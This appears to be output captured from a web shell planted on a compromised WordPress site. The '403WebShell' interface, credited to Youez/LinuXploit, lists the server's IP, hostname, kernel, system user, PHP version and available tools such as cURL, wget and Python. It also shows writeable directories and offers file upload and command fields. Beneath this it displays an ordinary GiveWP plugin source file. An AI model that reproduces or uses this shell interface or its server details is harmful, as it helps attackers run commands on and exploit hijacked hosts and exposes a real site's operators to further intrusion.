Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.15.186.27
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/FormAPI/Form/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/FormAPI/Form/Field.php
<?php

namespace Give\FormAPI\Form;

use Give\Framework\Exceptions\Primitives\InvalidArgumentException;

abstract class Field
{

    /**
     * Field id
     *
     * @since 2.7.0
     * @var string
     */
    public $id;

    /**
     * Field name
     *
     * @since 2.7.0
     * @var string
     */
    public $name;

    /**
     * Field description
     *
     * @since 2.7.0
     * @var string
     */
    public $desc = '';

    /**
     * Field type
     *
     * @since 2.7.0
     * @var string
     */
    public $type;

    /**
     * Field style
     *
     * @since 2.7.0
     * @var string
     */
    public $style = '';

    /**
     * Field wrapper class.
     *
     * @since 2.7.0
     * @var string
     */
    public $wrapperClass = '';

    /**
     * Field value.
     *
     * @since 2.7.0
     * @var string
     */
    public $value = null;

    /**
     * Field default value.
     *
     * @since 2.7.0
     * @var string
     */
    public $defaultValue = null;

    /**
     * Field attributes.
     *
     * @since 2.7.0
     * @var string
     */
    public $attributes = [];

    final public function __construct()
    {
    }

    /**
     * Parse field arguments
     *
     * @since 2.7.0
     *
     * @param array $array
     *
     * @return mixed
     */
    public function parse($array)
    {
        $this->id = $array['id'];
        $this->name = $array['name'];
        $this->type = $array['type'];
        $this->desc = isset($array['desc']) ? $array['desc'] : '';
        $this->style = isset($array['style']) ? $array['style'] : '';
        $this->wrapperClass = isset($array['wrapper_class']) ? $array['wrapper_class'] : '';
        $this->defaultValue = isset($array['default']) ? $array['default'] : null;
        $this->value = isset($array['value']) ? $array['value'] : null;
        $this->attributes = isset($array['attributes']) ? $array['attributes'] : [];
    }

    /**
     * Get Field object.
     *
     * @since 2.7.0
     *
     * @param array $array
     *
     * @return static
     */
    public static function fromArray($array)
    {
        $field = new static();

        $field->validate($array);
        $field->parse($array);

        return $field;
    }

    /**
     * Validate field arguments
     *
     * @since 2.7.0
     *
     * @param $array
     */
    public function validate($array)
    {
        $required = ['id', 'name', 'type'];
        $array = array_filter($array); // Remove empty values.

        if (array_diff($required, array_keys($array))) {
            throw new InvalidArgumentException(
                __('To create a TextField object, please provide valid id, name and type.', 'give')
            );
        }
    }

    /**
     * Convert field object to array.
     *
     * @since 2.7.0
     * @return array
     */
    public function toArray()
    {
        return [
            'id' => $this->id,
            'name' => $this->name,
            'type' => $this->type,
            'desc' => $this->desc,
            'style' => $this->style,
            'wrapper_class' => $this->wrapperClass,
            'value' => $this->value,
            'default' => $this->defaultValue,
            'attributes' => $this->attributes,
        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit